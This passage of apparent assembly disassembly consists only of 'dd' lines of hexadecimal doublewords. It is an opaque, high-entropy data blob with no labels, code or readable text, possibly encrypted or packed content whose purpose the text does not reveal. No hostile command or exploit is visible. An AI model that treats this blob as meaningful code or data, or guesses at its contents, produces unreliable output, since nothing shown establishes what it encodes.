		dd 607D22C0h, 89152509h, 0C99C0B77h, 934046D9h,	50B15E65h
		dd 124C846Dh, 52215348h, 4747FEF7h, 831508BEh, 0E9E5A4FAh
		dd 0ADB7D331h, 3D2873C9h, 8A7BA9C1h, 0E9B13E3Bh, 0A5A19E60h
		dd 90983DD8h, 6FBD0AE6h, 3E7A7773h, 9B8F1226h, 0F010560h
		dd 0E8115B1Fh, 5B0740A8h, 3D4E687Fh, 0A04E1CB3h, 1612CDF6h
		dd 3A097CC9h, 20D87ADAh, 2926B424h, 0C102D3D0h,	757AC430h
		dd 3B524922h, 0C7AA4304h, 0D06D95B2h, 4E1C68EDh, 14856EAAh
		dd 2FA4ABD6h, 16510F05h, 2A52D55h, 0DF31BEE4h, 0A732DBD5h
		dd 6C5BD207h, 9965F5Eh,	0F3FCBC6Ah, 1E98C681h, 0F87B2DA6h
		dd 78177868h, 0FAA84AE8h, 0EB144630h, 654E17C5h, 0A06049B1h
		dd 5C09405Bh, 7A978890h, 31B18E9Fh, 318293C9h, 0D1F0C9C8h
		dd 0A508BEC6h, 0DF304269h, 7443F151h, 0CD124FAFh, 440B7AC3h
		dd 88BFFBEAh, 0BB0166CFh, 8A29F426h, 726AB770h,	0A020C46Ch
		dd 0B353007Dh, 1FEB8036h, 49DBF6F0h, 99778421h,	162E0BE6h
		dd 9A8BBB30h, 0AD91B317h, 0B551C1E8h, 79FC5033h, 0CBF497E2h
		dd 9AA25FD2h, 4445E5FAh, 0AC26F427h, 2B1A0201h,	0E15408D0h
		dd 4B4EE680h, 825C296Bh, 2F0A9688h, 820CC705h, 0C6FD9B89h
		dd 1553955Ch, 2C283C1h,	37D7CC7Ah, 44A4C94Ah, 0E401CEBh
		dd 0C3298D12h, 0C0806CAh, 953ED301h, 5D83680Bh,	7B2C4A36h
		dd 0EAB1A07Fh, 0B7531D51h, 0DCEFC145h, 8402E7C0h, 0B8E90706h
		dd 0B0702EF8h, 0C1803DAFh, 0FD9620AFh, 7E646813h, 54C49BA8h
		dd 9FB9AB5Ah, 0ED1C991h, 0A110E913h, 8DC26E5Ah,	8213EA15h
		dd 8625Eh, 0BC7996B8h, 0C3316D13h, 71BF8412h, 85508571h
		dd 25609A8Dh, 43B53BAh,	0F2C2670Dh, 65048932h, 900DAA8Eh
		dd 86AE63F9h, 0F9B9D2B2h, 56A6DB4h, 74DA5D30h, 406EC980h
		dd 563765Eh, 0A77586E5h, 0C56AE06Bh, 29714F0h, 92D47DEh
		dd 49B4B103h, 0EAB016C3h, 0AB093BFCh, 4D72910h,	3D0EDA7h
		dd 60618CEBh, 9BF358E5h, 4E4E2A87h, 0E91797F8h,	6E2CE1A4h
		dd 92A159E8h, 83697E41h, 0E168F88Bh, 4EE90321h,	50ED62BFh
		dd 3C133E6Bh, 34AC65BAh, 5CF07627h, 5D6B82B1h, 0CF68F110h
		dd 4940DEB5h, 0DA88DCEFh, 0F580077Ch, 0BFE5333Bh, 92FCCDB1h
		dd 81AE060Ch, 0F9C02790h, 57289208h, 7406E0D7h,	958FFEBBh
		dd 48081756h, 4FF32898h, 7691E8AAh, 4D5A5DF8h, 0F2A56CF2h
		dd 31FA93C8h, 62BEE9F5h, 7C6C2DE2h, 9C70C27Fh, 2FD1F069h
		dd 269B9744h, 97688CFAh, 9E89F55Bh, 5650B700h, 0DDDEFA0Ah
		dd 6412FBB7h, 2ECDFFF1h, 0FFF4C53Ah, 0BA41FFE6h, 52556C3Fh
		dd 0B857CE40h, 0BE42403Eh, 2905D575h, 55A682Eh,	0DAC147ACh
		dd 69ACCB5Fh, 0BE3D7367h, 29110F31h, 8E90AF1h, 2B847B37h
		dd 2113E2BCh, 58FDB3D1h, 2A2D00FFh, 0EF81395Ch,	1732135Fh
		dd 10EEAC62h, 55022E50h, 0F2298768h, 0B89FD085h, 41AB5B6Fh
		dd 0A534F389h, 0BDE86E01h, 0C926CB25h, 597CF31Bh, 981DE5B5h
		dd 9AE91102h, 0B121A25Ch, 2D6EB34Ah, 4995011Ah,	0AFB80446h
		dd 0DF551262h, 0BAE0D509h, 3C497268h, 0CEE9C273h, 0C886A7DDh
		dd 3DA8D274h, 51568C4Ah, 20C05458h, 4A534880h, 5F932831h
		dd 1A886A8Eh, 4A7CB050h, 0C0D1C08Ch, 807302ECh,	0C4FEB41Fh
		dd 0FC0D5EACh, 0E56F338Fh, 5E804064h, 0EA0BD12Eh, 0C4D87AE9h
		dd 0DA54511Eh, 0B4B9B87Bh, 80F465BEh, 0CC7414F3h, 0F20A3E4Ah
		dd 591208C6h, 0E9126AB3h, 5DE9C2B7h, 4BCDD9FDh,	0E054E102h
		dd 1CD86DFAh, 8274BBF6h, 0FDB90A63h, 9D383F01h,	1D6AB505h
		dd 8EAFBDDh, 5C2EE536h,	20E5DC2Dh, 953B2FD5h, 581FD79h
		dd 705E609Dh, 771107Eh,	54D60275h, 335A5140h, 0D6F424E9h
		dd 7DFC9475h, 0C4275BF3h, 6BDF0473h, 3A2BABBh, 1CD1EFD3h
		dd 0AD7E555Bh, 50B4992Dh, 680B0633h, 4F790980h,	0C2654E83h
		dd 642CE93Bh, 0CF4D3589h, 5409F768h, 1010414Ch,	5101E20Eh
		dd 166801B1h, 0E9E54C14h, 24099459h, 2F174B4Eh,	6813A2FDh
		dd 0AA0984ECh, 0F4E73562h, 2D590724h, 0BC69248Fh, 8EB8024Dh
		dd 0D071BE13h, 0E8292C6Eh, 0A13408C3h, 0B9487427h, 0DC1E7584h
		dd 3AC9EB10h, 0FCD04E22h, 0CF47972Ch, 7E72A53Ch, 762A592Dh
		dd 5158E9C4h, 0F65BA38Eh, 31EB4A17h, 0DF8D68FAh, 2C632113h
		dd 5043E940h, 0E531645h, 0C7E6852h, 4AFAFD96h, 0D8A513F2h
		dd 515E0E00h, 0DC462745h, 7E87CC88h, 5EFB7BC8h,	35FD8105h
		dd 0AC92C55Ch, 68135FBEh, 0BACF82D3h, 0FC256AD3h, 0A2FE0561h
		dd 31DDAF69h, 4D899021h, 0E385C39Dh, 4CA0F28Ch,	0A752DF50h
		dd 0E58F8F0h, 282FE02Dh, 5D02942h, 0E9EF078Ch, 0DDFD7D27h
		dd 52C2BDA2h, 0B3418F64h, 0FEFAE03Fh, 692DCE7Ah, 0EB39D7C3h
		dd 0B38C2FD5h, 94E3E6E9h, 6956EBACh, 48B76858h,	53C34F74h
		dd 0F095C388h, 0F697D179h, 0BA1B6223h, 7C2555F1h, 979856F8h
		dd 5955C2E9h, 0B508CCC5h, 0B273B98h, 0A9C7FC1h,	5B25B20h
		dd 0B54ED6BAh, 5AA40036h, 0B951E801h, 0F70BA2h,	746705CFh
		dd 874D4899h, 3AC28227h, 9D0C6C75h, 40BC7AB0h, 0B9C6A5C0h
		dd 96F4D809h, 5D12DC9h,	2F914C2Fh, 6CAEB9EAh, 0B354BF42h
		dd 0AD828E76h, 0DC34EA36h, 0B00720B0h, 0BE05E7Eh, 53F35ECBh
		dd 80A00214h, 78164CE9h, 0A054B83Ah, 1638A3AEh,	4A1369h
		dd 70626BDBh, 0E7078178h, 2B654D20h, 0FC5AC760h, 0C8505BDFh
		dd 0EE1B8C41h, 0FD482FB0h, 0EA047F13h, 0DAAF1D94h, 0BFB65E13h
		dd 0F5EE0C86h, 63DFC703h, 0B50142DCh, 80321C4h,	0FA5EBE9h
		dd 76C18030h, 0E8866F04h, 540CC5FCh, 0A01A30ABh, 2A7DEA1Ch
		dd 0A5B4A624h, 5818A06Ah, 970BB2Ah, 211D2E73h, 312EF670h
		dd 0D46946D6h, 5D3A07AAh, 0D638BD74h, 0C1C82802h, 0BAFAF161h
		dd 7A8C8BBh, 28C2758h, 82ADE0EBh, 1E5279CFh, 0BC1CDB06h
		dd 0A21293Bh, 1BBFE955h, 0CCE7808Dh, 475FB667h,	1C7989A0h
		dd 99023E6h, 0E00B63FAh, 9FA2170h, 5E87A5C3h, 144B2CAFh
		dd 4B257C12h, 38F9E01h,	0FC407B1Eh, 5C64375Dh, 0AD061D17h
		dd 0C21DB3Ch, 0A944180Bh, 0F3DD61Dh, 3381563Dh,	9DF6A1E9h
		dd 0D58BAC66h, 1C6290A0h, 0D7C2E1D9h, 22FEDF96h, 5019BBEh
		dd 3F28F2D3h, 0F1002F29h, 29764487h, 0D19DD9F7h, 9BD4AD94h
		dd 939D32Dh, 0E20901Bh,	0A92B53F2h, 4510158h, 29E62DBCh
		dd 356AC0EBh, 0AA2EDD0Dh, 0E904D6AFh, 0C1B95EC7h, 2793BD02h
		dd 12416B9Dh, 8B83C394h, 59B2BBACh, 5C1D0E1h, 6645C482h
		dd 83D49F9Eh, 5B09C5EFh, 8920B4B9h, 8054B207h, 0F232ECCAh
		dd 9EDEC1C4h, 0E939B07Ah, 11EC674Bh, 2ED0F11Ch,	0D3280BE8h
		dd 1BF1908Bh, 58E8FC4Bh
		dd 0E2208067h, 0A0364BF3h, 5B28B135h, 0E916B630h, 22AA73A9h
		dd 0D9DFD752h, 474D0141h, 645E35F5h, 1C0608FAh,	0ABD6430h
		dd 0C5312F0Bh, 44327EFCh, 4B4DFA58h, 80E5F9FEh,	729B17A4h
		dd 446125E9h, 1D0BD5FBh, 0CBD7DE1Fh, 530242B6h,	0DC11B4BBh
		dd 3D02574Fh, 0B35FD68Ch, 195D3D9h, 676BBD67h, 0EE096AADh
		dd 4DF89D7h, 0AB3C2A1h,	0A25AE209h, 8ED1503h, 0D8CD0651h
		dd 86620FD0h, 9467764h,	2719D05Dh, 0FB9424F7h, 1F0D895h
		dd 649A5214h, 6A84E8E9h, 5CD1CC56h, 4466D73Dh, 5FA86809h
		dd 0AD500922h, 4B34F3F5h, 16004E57h, 0ED2B58E9h, 5409380h
		dd 4AE23039h, 31A8BA01h, 0F5B325DCh, 8A45D8AFh,	0ADADEBDh
		dd 8FCAC4EBh, 0C90930FFh, 1E27DE4Bh, 0BE378059h, 12F04A82h
		dd 13DEF742h, 54E4B060h, 0E5685E4Eh, 66D81328h,	0E660EE53h
		dd 395268B0h, 6748C288h, 0C432885Ah, 24EF024Fh,	0DC91AF57h
		dd 257F99E9h, 79D1FAD4h, 1DF4EA01h, 5B1ACB9Bh, 6858BB7Ch
		dd 0B71970F6h, 85CF3AF6h, 11ED4210h, 0CA69E98Eh, 4E111BDFh
		dd 0E21CB008h, 298C04BDh, 74B42584h, 25A45AD7h,	0E093000Ah
		dd 57036926h, 0A15063FEh, 2A7A4C5Ah, 0E5D16612h, 0FDC22F1Ch
		dd 0A23172C1h, 9B12C3h,	8A5CE305h, 5110755Eh, 5B680907h
		dd 1F152315h, 0F5098767h, 4897BAE7h, 23872E1h, 0B2C031F5h
		dd 6222333Bh, 7FD1DCB6h, 3CB55918h, 0EB61CEF6h,	7A306817h
		dd 0B349403Eh, 9ECB80B9h, 0AA968598h, 0F89A541Dh, 0BE8A8047h
		dd 0B845972Ch, 2F23030Fh, 0F229603Ah, 0A0081C41h, 4996141Ch
		dd 93D1F46Bh, 0EF7EC4B8h, 2FF043D9h, 64FBB6DDh,	0DE15BFADh
		dd 0B68CE44h, 0B5079B52h, 0B446F2EAh, 3B79D8D0h, 0E97115BDh
		dd 463BF896h, 803DCD2Ch, 2219CB0Dh, 44092D43h, 76760AF7h
		dd 84FC12FAh, 0C064D401h, 0B1F45713h, 0CC5FFE9Dh, 460C68A4h
		dd 0DB257420h, 4992B05Eh, 0CC0FBEECh, 0A873B6A5h, 400930C3h
		dd 95CFF5E9h, 86495198h, 0A1F4EE9Fh, 5701B9E8h,	5F714268h
		dd 4A626277h, 8B715702h, 26018AB0h, 55A0499h, 0FCD225E8h
		dd 7AE909E3h, 0D0B62CCBh, 99590F40h, 0C0B78378h, 6F4EE74Bh
		dd 68564F05h, 29FC53EDh, 0FE3892C7h, 41935B0Fh,	22107053h
		dd 521356Bh, 87B48107h,	0B25201EFh, 0BF07EA8Bh,	0F7001459h
		dd 509D0DD8h, 0B753Fh, 592C6C90h, 0F8F68005h, 7655562Fh
		dd 2BE9F051h, 0B5B6059h, 3075FB68h, 32208837h, 1D84064h
		dd 39933707h, 460C0466h, 0EA5962BFh, 50C40F8Ah,	2351444h
		dd 3894319Bh, 915B6029h, 624F948Dh, 515DBEC1h, 0B4B39660h
		dd 7D00213h, 10377E1h, 0E95F1176h, 8024AEA6h, 13EBE5C7h
		dd 3CEA08h, 0D7261FF2h,	0B32FE928h, 5AC5B55h, 0AB751D2Ch
		dd 0E86419B5h, 0E2D302C8h, 0D893E98Ah, 85E27B5Fh, 0B626B668h
		dd 0C7512F94h, 40FF28B9h, 0B90551D6h, 64B338ECh, 0D97A32C1h
		dd 5891C87Eh, 0FC96935Fh, 9B535854h, 807B3D2Dh,	28F8EC3h
		dd 4EA5F323h, 54C2B29Bh, 0C0981AFDh, 301F9214h,	88285DBAh
		dd 9ACA1443h, 189C95Fh,	5E2B89D1h, 5174149h, 0EF4530A3h
		dd 0F376331Eh, 1EE94F05h, 0A32716AEh, 7CD72516h, 0B2A081Fh
		dd 3C946414h, 0D732AD02h, 82008932h, 6031634Dh,	0C904059Ah
		dd 542E14EDh, 0F4052883h, 0CDEB80EBh, 484B3CE9h, 0C07E1FA5h
		dd 6FF96CC9h, 4E895850h, 66040616h, 158B3500h, 2AE9235Ch
		dd 60894111h, 38CAB0E6h, 465BEED1h, 5C059EB0h, 0F516CC65h
		dd 0E79FAC5Eh, 0AFCD8444h, 0F16ADFCDh, 69A92BD7h, 858030F6h
		dd 858277FBh, 0D2FB97D9h, 0A7D7EE13h, 0EB808482h, 5A2EE9D5h
		dd 0C4782483h, 0CC95EA8Eh, 827C82BAh, 5D220955h, 0C125DF3Eh
		dd 768E8EE0h, 0DEEE9E53h, 80F92FFFh, 3E3F35B0h,	899113EEh
		dd 4060EFC7h, 53C57EBh,	6E93FA6h, 9D4DEE51h, 836BD005h
		dd 0C18D5AE3h, 28602C53h, 6132B2BBh, 373E58A2h,	0E809BE38h
		dd 2ECEF65Eh, 285661ADh, 90212CD0h, 55F968C2h, 0F9BD2C66h
		dd 0B73118BDh, 0E50E8058h, 0A2CDFE16h, 74C069F5h, 0DA4F0ADEh
		dd 5958D093h, 5BF83000h, 803DB652h, 0E93208CEh,	5A1DD605h
		dd 0FFDC768Ah, 835BDF84h, 0D7F7BEC1h, 0ECA4C528h, 41598B23h
		dd 136BCE5Dh, 6803CC6Eh, 55A4F26h, 57FE7889h, 0DC2053CEh
		dd 0B35303E3h, 27F38010h, 789FC0D9h, 7701924Dh,	33B17767h
		dd 2DAA7801h, 2411856h,	70C3F3h, 58503852h, 62231FB9h
		dd 0D9314616h, 2D27C5CAh, 80BAD07Eh, 778A3A72h,	0A005C801h
		dd 951AE907h, 0FDF79B21h, 3AD0C5ACh, 6684CBFCh,	59BD408Eh
		dd 980BD87Dh, 41904EC5h, 5C57F6B5h, 0F089CCA3h,	2C600DFCh
		dd 6A8C1ADh, 0A95A5F1Bh, 3025097Dh, 3A9D463h, 3BDC0E33h
		dd 4C7A0C0Bh, 8E15DBEh,	718C314Bh, 4D583073h, 0D6CC694Ah
		dd 3923B4B9h, 6170F4DBh, 0F86F1341h, 0BA2010DCh, 0A496809h
		dd 5DA57BD6h, 5DD9AB3Bh, 0DB57C215h, 540189D2h,	25FEE657h
		dd 0BB766923h, 804CB7E0h, 2D0173C7h, 4FD60DCFh,	0FD285F82h
		dd 0B602615Bh, 0C3B79FDBh, 70C8E952h, 0EBE04F0h, 0C0788725h
		dd 10A1CE5Bh, 561ED4Dh,	7EEF35ABh, 9AA181FEh, 0F432AFF6h
		dd 47080E62h, 215024A9h, 0FFBA1927h, 2B352419h,	545CD009h
		dd 60F953EAh, 8BCE48A2h, 70845013h, 56A1EE1h, 0AF1F4CBEh
		dd 0B3B84A44h, 0CE82540Bh, 22F41AC5h, 66926E82h, 0F58B5D94h
		dd 0EF2024D4h, 9C353F17h, 62A16806h, 315C312Eh,	7B0E367Bh
		dd 8D25B731h, 0F828A88Fh, 80C2D9EBh, 0A4815861h, 7103F90Ah
		dd 0D917C367h, 313A584Bh, 7A92222h, 0A7D0F285h,	5FF30787h
		dd 0EE62B06Bh, 2A5A08A1h, 87629EFh, 3C8428F7h, 9E55E9FAh
		dd 160DF87Ah, 0CDBE8768h, 0D4502A93h, 5B4707C5h, 54B278AAh
		dd 46F9F5D1h, 0B412954Ah, 56C0ADF3h, 0B87B3ABEh, 0DEF73D0Ch
		dd 16C1B84Eh, 0C4C24784h, 5644EB8Bh, 33FC2568h,	0F604BC5Fh
		dd 19C8094Eh, 3ADA396Fh, 1A02A30Ch, 24970C0Eh, 13C43E70h
		dd 2E75F1A8h, 97594528h, 0E9897FC7h, 0BE85D0D3h, 5352C0A0h
		dd 7E171568h, 0CC075D0Eh, 6AC2E3CBh, 0D8E5569h,	22393E1h
		dd 2F310053h, 8908202Ch, 0E22E80B7h, 5F9F372Eh,	9645AC05h
		dd 709D103h, 0D601D993h, 9400564Dh, 4AA60676h, 14CD945Fh
		dd 51868408h, 0ED022D3Bh, 0DA3AAD74h, 1E327F21h, 0A10DC25Dh
		dd 2B941A1Fh, 3F18A4BFh, 0E9F35A84h, 0C512675Eh, 0C81EDCFEh
		dd 3955DBAh, 2ECE1443h,	0B47EA71h, 207D55E6h, 77F6E3C8h
		dd 0CE505C57h, 4A26137Dh, 247C0216h, 0ED485A79h, 6B7E4219h
		dd 0ACE7E918h, 28B2BD4Ch, 2CF8C412h, 1D8905F5h,	2ACD8172h
		dd 82414B37h, 3F618518h, 0B191807Ah, 251D4605h,	8376CD31h
		dd 0AA22B80Fh, 2F008423h, 89F31B07h, 889796EFh,	80018DD4h
		dd 5C049DF6h, 94A1B4E8h, 37896FD6h, 0BD8BAC51h,	0A67BF495h
		dd 0FF8A0E06h, 7E618A32h, 35007F5Eh, 41B96651h,	1F81E832h
		dd 0CB795FF1h, 0CCB21FCBh, 515292A0h, 5E179C68h, 0CA4007B3h
		dd 6F69EC67h, 2094EE9h,	573F688Ch, 17929F7Ch, 502D78BBh
		dd 822F45BFh, 0A785BB5h, 0EA28B075h, 5219C9B1h,	111365F8h
		dd 84EB1B38h, 0B10716A4h, 6DE22FD1h, 0E8D10AC5h, 0F4B6E5F5h
		dd 0A50B5D13h, 6AC2034h, 4500715Eh, 0DF1DF4F2h,	76C9906Dh
		dd 11E12D0Eh, 9E8B2857h, 89EE7E12h, 24DE6810h, 9062551h
		dd 6E1061h, 9366BBC7h, 0DFF74F01h, 0D25B84B8h, 0BE579CCh
		dd 440E1EC2h, 7AE90861h
		dd 0DD29044Bh, 0E51501A4h, 16CB20EBh, 14067C12h, 421361F9h
		dd 6C77FAB7h, 0A3BB2FB2h, 175077D4h, 0E3950EB5h, 5B223799h
		dd 5658C380h, 34360B68h, 2CA0659Fh, 0E1249BBh, 0E6C14618h
		dd 25AC6AEh, 68CB6586h,	81592E21h, 5C5E5909h, 0AE054687h
		dd 74AF0E8h, 2C88BE20h,	5A597C87h, 0AA48C550h, 6818D29Ah
		dd 0A2E9618Bh, 5EAFF85Bh, 149F095Ch, 3CEE9875h,	9D89221h
		dd 0FE0331Bh, 0D7A9C2FDh, 0E95A8BA1h, 82AC2F69h, 0C2B70FC5h
		dd 0D35F1207h, 0B1CBA56Ah, 554077E2h, 18BD7653h, 423A77Bh
		dd 0B5E909DFh, 0D1FA1290h, 8E8AE402h, 408BA12h,	6A8718C4h
		dd 73E313C1h, 0E4BF832Eh, 2A5B1FB9h, 72BA5A13h,	5B573405h
		dd 0AC5E93B3h, 0CABAB512h, 7ADE14BDh, 2452CFCBh, 37F32556h
		dd 5EAE524h, 0FCFBE947h, 0D37770A6h, 45231B27h,	8ED10751h
		dd 582618FFh, 2C0152FAh, 0A796CEE9h, 7C3CF576h,	0B0A40D9Fh
		dd 50AA8E3Eh, 6282C563h, 4068754Ah, 2C1445E2h, 4A14D93h
		dd 0FA92D912h, 7B9EA5EAh, 294247B5h, 5FBBA9E3h,	0F7C9007Bh
		dd 5A2E8B9Ch, 23CA157h,	0E91ACB31h, 2425DEFAh, 0E3F07267h
		dd 0C359650Ah, 4D29D25Fh, 0ECAC570Bh, 3A6C2F38h, 0CF388B46h
		dd 7DAE4F1Bh, 70C47E12h, 2258A78Fh, 0B5707B38h,	0DCA705D9h
		dd 0CBC66203h, 3E6C1A2h, 0EE2730FFh, 8D5E02ECh,	0C13BE970h
		dd 78B09566h, 0EA68DA0Bh, 0BD2664Ch, 22F05FBFh,	9C561009h
		dd 9876D809h, 5A266863h, 0B1EDF810h, 2552A188h,	0CCE45D51h
		dd 4797597Ah, 79FD09D7h, 0B0797B76h, 0D69AF93Fh, 2EFE1211h
		dd 5BC58E53h, 7A3D99AEh, 9287D2ECh, 0A0490840h,	1A083E33h
		dd 1B7C9514h, 3D47FF72h, 881EE52Fh, 92282207h, 66A29F80h
		dd 811E7E00h, 734E0FEFh, 49E916ECh, 8875AA6Ah, 3ED3C9FEh
		dd 0A0D0F1E2h, 4930C700h, 0D176E939h, 0FD21C2ACh, 0E178B040h
		dd 35003844h, 0D6F885BDh, 0BDFD01CCh, 729FE300h, 5A9D57E7h
		dd 268DE632h, 0B0C441Fh, 0B17E7808h, 0A2930DE2h, 0D5F229DCh
		dd 0F3261E1Ch, 0E094432Fh, 309F1C0Ah, 4E165727h, 974F4B7h
		dd 794515CFh, 28FB6917h, 0E317C05Dh, 2AF88006h,	4FB4912Ah
		dd 34F9330h, 1306063Fh,	0AC90865Fh, 4A2D1060h, 0BA08BE04h
		dd 425B0207h, 95800CCEh, 36A54F98h, 0C55BF895h,	13EB8106h
		dd 8CA4BD0Bh, 9611CCBh,	590D985Ch, 217025D6h, 0CED39F25h
		dd 7062D5A5h, 665375h, 181D5733h, 0E916D0F7h, 42A9B73Dh
		dd 0C12858A7h, 54BBF44Eh, 0CE5B4969h, 970B14C3h, 0B868C244h
		dd 90C4E665h, 40C4147Ch, 0CB1CB6D8h, 4AD34E20h,	3D1CF3C0h
		dd 0C19D46FCh, 14ED538Fh, 12F6C3F0h, 0FF4CAA12h, 0B26AEF45h
		dd 0E9B020B9h, 0CD9D3252h, 5A88A466h, 0F92CB05Dh, 0A991B15Fh
		dd 366F0271h, 0E8804742h, 41744BA0h, 892035BEh,	0A7F9180Bh
		dd 0E9A580FEh, 0E3FF9DA9h, 507CFA2Ah, 4BEA5C83h, 6171E9F0h
		dd 3B6F4FA0h, 0D4607E31h, 9FD0C495h, 0E9F91C89h, 0B7F9ADFCh
		dd 3002D52Fh, 6771550Dh, 2BE51897h, 0E18339D8h,	4D4C00C2h
		dd 28B55F67h, 0D0240877h, 0EAE80C16h, 5D7984B1h, 68AF016Eh
		dd 0AC997A6Fh, 1A59A73Fh, 822120A0h, 5172CA52h,	0C7C08912h
		dd 3C4EFEE6h, 5A2FA8ECh, 2FDB1920h, 0E0ED79BAh,	84347746h
		dd 0D6AA0C62h, 44BF2483h, 97C03096h, 7040EFE9h,	0D85AEC2Dh
		dd 1CDA789Ch, 97E93F3Eh, 5B44A35Fh, 5A3A02BAh, 71F75453h
		dd 1E9C10Bh, 0AD9C9988h, 68004744h, 21C44166h, 5B147F50h
		dd 8BB83077h, 59E83057h, 0B36A4CB9h, 0C64EAF12h, 62BB4353h
		dd 0DFF4B74Ch, 527F0FBAh, 0C21BBAA4h, 587CE0C8h, 6603B22Dh
		dd 0BC41A10Dh, 8BF681A4h, 7E89FE0h, 1B277C03h, 7FAE6A7Fh
		dd 45E9AA21h, 802683D3h, 76C031E4h, 57C438A6h, 6510C14Bh
		dd 0E5D16A7Ch, 5902A5ACh, 2562D375h, 3CF5576Ah,	48E91081h
		dd 46DE5B09h, 7B982A63h, 6859780Bh, 8F6B711Dh, 3A00EEB8h
		dd 40D8F72Dh, 812751BDh, 937AC435h, 45B22F4Eh, 0EE9570Fh
		dd 7AF64E79h, 78199A44h, 0C697AF17h, 0C09238A4h, 5AF85505h
		dd 25ACFCB7h, 20670B5Fh, 0B93F88E5h, 232BC16h, 0CDE9E7D1h
		dd 0B2011458h, 58C2305Ch, 0CBF05253h, 0BD83B9BBh, 0EE7C196h
		dd 2744C712h, 0DAE7817Bh, 0D01678BEh, 15C296ABh, 361277C8h
		dd 967D1E5Dh, 0B6BA9B3h, 0E03056A3h, 19B10109h,	1B1F4142h
		dd 0EFA6F4C2h, 6913E45Dh, 0FBC08546h, 0BFA17AE4h, 4FD135C0h
		dd 334A6F48h, 0B2915561h, 4A92F03Eh, 8923A95Eh,	30495555h
		dd 96EC2F5Dh, 0D68BBF2h, 0A4AB3E68h, 0CD4990D2h, 24E12A09h
		dd 0EB0F6FA5h, 0FDAC2DE5h, 3507016Dh, 267F968Dh, 5FE5B86Fh
		dd 374154F8h, 0F178606Ah, 9E4A58E9h, 0EEA087BCh, 0F01305A2h
		dd 28124624h, 0B9046BACh, 0AF4A6A8Fh, 972D23C6h, 2B7E0240h
		dd 2902130Dh, 0C47F76C2h, 870B0B3Ah, 203D9379h,	3F5E5CA9h
		dd 3AE3B14Fh, 69AF3352h, 0E3286E95h, 0BCA629E9h, 0F8018BEEh
		dd 68C410F7h, 3F565870h, 215A54C5h, 3FE6E97Eh, 9CCB9F87h
		dd 0B56851B4h, 0F610D226h, 5A2CB3h, 0E2734070h,	875F5032h
		dd 518C71C2h, 0F61C2CDh, 0F8FA133Eh, 46E9F03Bh,	13C69BADh
		dd 3062472Dh, 0E9FBF6C1h, 600C514Ah, 14D4CA59h,	0D61B7B45h
		dd 0F603DC43h, 5CB72DF3h, 113A1804h, 0DB007C33h, 31CAEACEh
		dd 0A1C1FBA0h, 5077679Ah, 50924B59h, 9BE20C6Ch,	0D0BA114Ah
		dd 6CF6C028h, 1043015Dh, 533BB07Bh, 2A204225h, 1D478BE3h
		dd 0F91460B5h, 0BFFE09FCh, 7AD615E9h, 2551EC25h, 14DF5456h
		dd 5DA42D9Fh, 51465E18h, 3502ABB3h, 0FD027719h,	0B9F0878Bh
		dd 698B5B95h, 346D9321h, 54C02ABFh, 2E139B68h, 15F311Ah
		dd 2D05B2F7h, 77C72A37h, 31AF95C5h, 29CCCB2h, 9898DAB8h
		dd 68BDB1C8h, 5F89E266h, 6965ABC9h, 7D904F2Ch, 500E18C8h
		dd 5489A16Eh, 9F5BDD7h,	6483DAFh, 3F283AD6h, 0E97B3C05h
		dd 0D0D4C9D4h, 0D09EE4AAh, 0F12A7249h, 1058E0Eh, 0CF924FC4h
		dd 9D66C8Fh, 0F12FC768h, 7DC38097h, 0EB293662h,	0B055D05h
		dd 99C1E15Fh, 0EB046B37h, 8C4899B3h, 71CB0844h,	5D0E9003h
		dd 257564B5h, 0BAF574EEh, 2527E36h, 16EF5AF3h, 0E09F6CF8h
		dd 16432DAAh, 20F5B08h,	0AAE1E92Dh, 79255457h, 37C1043Ch
		dd 0FD7A837Fh, 67D780Fh, 0D41EEA2Fh, 0A4511F26h, 86F62F38h
		dd 625BA702h, 2B40FDF5h, 984D4EE9h, 0D6145F45h,	0B803D6A3h
		dd 786D39h, 9013720Ch, 95FDE9E1h, 58E525C1h, 0A83EEF28h
		dd 0F5B0C7E5h, 83BC8909h, 5EB87C79h, 7B15A12Ch,	0E98256CFh
		dd 0FB488849h, 300CBD68h, 0E4597284h, 29181D09h, 3D0F4D25h
		dd 7E683D24h, 0E8AB1E25h, 0B3C35D2h, 0CE0119FDh, 0E9C65581h
		dd 15022B17h, 82D7F74Fh, 9C043F1h, 0F9DE5C84h, 31347CD2h
		dd 0C6AF197Ah, 0BD0B9E32h, 14573Ah, 517AE586h, 0B4877C77h
		dd 0CE603AA1h, 0A223632Ah, 0FA4E5C98h, 0E7869AF2h, 0DC250B3Ch
		dd 0AA7F6B73h, 8F33D528h, 6B76A8D1h, 410192F6h,	8B59E205h
		dd 0F82C3B2Ch, 999220E9h, 7F92024h, 5F417C12h, 2945115h
		dd 15185D20h, 0FB0D887Fh, 4447DA02h, 0C7A0D173h, 0CB779186h
		dd 0A3F8E912h, 7013A9F6h, 4DCBFBB4h, 15B9A44Bh,	6804A3B6h
		dd 9AEB1003h, 2F284C45h, 6C299C9Fh, 810EC5Ch, 0E91317B8h
		dd 9142C401h, 0C0060D7Eh, 828510CAh, 0A424D7C2h, 687EC18Dh
		dd 5DCCCA8Ah, 29212865h, 152D9180h, 1B092F7Fh, 4F82A6C5h
		dd 4016AFE9h, 27730920h
		dd 4FDC2767h, 8F60ED82h, 9559E04Ah, 0B0025E76h,	3F12794Dh
		dd 0FDBD45DEh, 43A8890Ch, 4F0BE9DAh, 8D61E14Ah,	8073844h
		dd 9E185D5h, 314BA07Eh,	4062DEB7h, 0D26CE957h, 9BB45F95h
		dd 0E9841FB6h, 99F877EAh, 0ED89C4C5h, 20053259h, 0F679FF9Bh
		dd 0A98B7A50h, 0CC7E05B3h, 1A90BE8Dh, 92179E2Eh, 0CC352D00h
		dd 0EFF7E927h, 57CF278Bh, 411AAF78h, 600C2F33h,	0B56FC23Ch
		dd 5A9849E4h, 995D5C40h, 0F0BF6068h, 767E6A5Ah,	5FBBEF06h
		dd 0AE744Ah, 3B930AA3h,	25CABD55h, 0E910E304h, 31AA0140h
		dd 6E264A37h, 86B25177h, 836D5EA4h, 5A6A23A5h, 101A9E01h
		dd 0D5312B4Ah, 0D6749A89h, 0B80D07Ch, 55835C1h,	0AC720EC9h
		dd 0CEC04079h, 25715428h, 0BC261E0Fh, 133A4720h, 0B6F06107h
		dd 327E7FC6h, 0E983C201h, 49120E62h, 0DD6AA954h, 0BFCEFD58h
		dd 153FA9C7h, 10CD45CFh, 52D601ECh, 24CFBB23h, 0B81B85Fh
		dd 80E118EEh, 69CDE9DCh, 0D1023C30h, 7BB3F1CAh,	150A2CADh
		dd 0E70B16h, 0E685059h,	4D48D545h, 337620B6h, 0DF44EB28h
